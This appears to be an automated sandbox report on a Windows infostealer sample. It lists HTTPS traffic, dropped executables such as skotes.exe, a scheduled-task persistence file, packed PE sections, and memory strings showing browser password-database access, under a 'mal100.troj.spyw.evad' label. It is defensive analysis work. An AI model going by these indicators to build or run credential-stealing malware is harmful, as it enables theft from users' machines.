Source: unknown	Network traffic detected: HTTP traffic on port 54236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54319
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54318
Source: unknown	Network traffic detected: HTTP traffic on port 54259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54313
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54317
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54314
Source: unknown	Network traffic detected: HTTP traffic on port 54316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54320
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54329
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54281 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54324
Source: unknown	Network traffic detected: HTTP traffic on port 54338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54323
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54327
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54331
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54351 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54255
Source: unknown	Network traffic detected: HTTP traffic on port 56477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.14:443 -> 192.168.2.7:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.14:443 -> 192.168.2.7:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.164.15:443 -> 192.168.2.7:54238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:54245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.7:54265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.7:54297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.7:56457 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56461 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56462 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56464 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.7:56467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56469 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56470 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56471 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56472 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.7:56476 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56477 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56478 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56481 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56482 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56483 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsIEGCAAKFBA.exe.0.dr	Static PE information: section name:
Source: DocumentsIEGCAAKFBA.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: 1017b01294.exe.32.dr	Static PE information: section name:
Source: 1017b01294.exe.32.dr	Static PE information: section name: .idata
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: .rsrc
Source: random[1].exe.32.dr	Static PE information: section name: .idata
Source: random[1].exe.32.dr	Static PE information: section name:
Source: 474b2c9b63.exe.32.dr	Static PE information: section name:
Source: 474b2c9b63.exe.32.dr	Static PE information: section name: .rsrc
Source: 474b2c9b63.exe.32.dr	Static PE information: section name: .idata
Source: 474b2c9b63.exe.32.dr	Static PE information: section name:
Source: random[1].exe0.32.dr	Static PE information: section name:
Source: random[1].exe0.32.dr	Static PE information: section name: .idata
Source: 2018142c2f.exe.32.dr	Static PE information: section name:
Source: 2018142c2f.exe.32.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CEFB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFB8C0 rand_s,NtQueryVirtualMemory,	0_2_6CEFB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CEFB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CE9F280

Source: C:\Users\user\DocumentsIEGCAAKFBA.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE935A0	0_2_6CE935A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9D4E0	0_2_6CE9D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED6CF0	0_2_6CED6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA64C0	0_2_6CEA64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBD4D0	0_2_6CEBD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEF34A0	0_2_6CEF34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFC4A0	0_2_6CEFC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA6C80	0_2_6CEA6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA5440	0_2_6CEA5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF0545C	0_2_6CF0545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF0542B	0_2_6CF0542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF0AC00	0_2_6CF0AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED5C10	0_2_6CED5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE2C10	0_2_6CEE2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEF85F0	0_2_6CEF85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED0DD0	0_2_6CED0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAFD00	0_2_6CEAFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBED10	0_2_6CEBED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC0512	0_2_6CEC0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF076E3	0_2_6CF076E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9BEF0	0_2_6CE9BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAFEF0	0_2_6CEAFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEF4EA0	0_2_6CEF4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFE680	0_2_6CEFE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB5E90	0_2_6CEB5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF06E63	0_2_6CF06E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9C670	0_2_6CE9C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE2E4E	0_2_6CEE2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB4640	0_2_6CEB4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB9E50	0_2_6CEB9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED3E50	0_2_6CED3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEF9E30	0_2_6CEF9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE5600	0_2_6CEE5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED7E10	0_2_6CED7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9DFE0	0_2_6CE9DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC6FF0	0_2_6CEC6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE77A0	0_2_6CEE77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA9F00	0_2_6CEA9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED7710	0_2_6CED7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBC0E0	0_2_6CEBC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED58E0	0_2_6CED58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF050C7	0_2_6CF050C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC60A0	0_2_6CEC60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDF070	0_2_6CEDF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB8850	0_2_6CEB8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBD850	0_2_6CEBD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDB820	0_2_6CEDB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE4820	0_2_6CEE4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA7810	0_2_6CEA7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9C9A0	0_2_6CE9C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECD9B0	0_2_6CECD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED5190	0_2_6CED5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEF2990	0_2_6CEF2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF0B170	0_2_6CF0B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAD960	0_2_6CEAD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEB970	0_2_6CEEB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBA940	0_2_6CEBA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB1AF0	0_2_6CEB1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDE2F0	0_2_6CEDE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED8AC0	0_2_6CED8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF02AB0	0_2_6CF02AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE922A0	0_2_6CE922A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC4AA0	0_2_6CEC4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEACAB0	0_2_6CEACAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF0BA90	0_2_6CF0BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED9A60	0_2_6CED9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF053C8	0_2_6CF053C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9F380	0_2_6CE9F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAC370	0_2_6CEAC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE95340	0_2_6CE95340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDD320	0_2_6CEDD320
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_00678860	26_2_00678860
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_00677049	26_2_00677049
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_006778BB	26_2_006778BB
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_006731A8	26_2_006731A8
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_00634B30	26_2_00634B30
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_00672D10	26_2_00672D10
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_00634DE0	26_2_00634DE0
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_00667F36	26_2_00667F36
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_0067779B	26_2_0067779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00698860	27_2_00698860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00697049	27_2_00697049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_006978BB	27_2_006978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_006931A8	27_2_006931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00654B30	27_2_00654B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00692D10	27_2_00692D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00654DE0	27_2_00654DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00687F36	27_2_00687F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_0069779B	27_2_0069779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00698860	28_2_00698860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00697049	28_2_00697049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_006978BB	28_2_006978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_006931A8	28_2_006931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00654B30	28_2_00654B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00692D10	28_2_00692D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00654DE0	28_2_00654DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00687F36	28_2_00687F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0069779B	28_2_0069779B

Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: String function: 006480C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0066DF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006680C0 appears 260 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CECCBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CED94D0 appears 90 times

Source: file.exe, 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1611787191.000000006D115000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.1601463331.00000000232D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: wdsvuckv ZLIB complexity 0.994532470703125
Source: random[1].exe.32.dr	Static PE information: Section: wdsvuckv ZLIB complexity 0.994532470703125
Source: 474b2c9b63.exe.32.dr	Static PE information: Section: wdsvuckv ZLIB complexity 0.994532470703125

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@84/255@59/28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEF7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CEF7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\ICPOLS0O.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1588:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\3922c423-8a4f-4f76-b31f-eec4835f4e73.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1611667320.000000006D0CF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1597084197.000000001D2AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1610692458.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1611667320.000000006D0CF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1597084197.000000001D2AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1610692458.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1611667320.000000006D0CF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1597084197.000000001D2AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1610692458.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1611667320.000000006D0CF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1597084197.000000001D2AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1610692458.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1611667320.000000006D0CF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1597084197.000000001D2AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1610692458.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1611667320.000000006D0CF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1597084197.000000001D2AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1610692458.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1597084197.000000001D2AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1610692458.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1479782748.000000001D1AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1393856633.000000001D1A9000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2395903087.0000000005704000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2406446667.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2434161471.00000000056FF000.00000004.00000800.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000003.2433658886.0000000005712000.00000004.00000800.00020000.00000000.sdmp, AAFIIJDAAAAKFHIDAAAK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
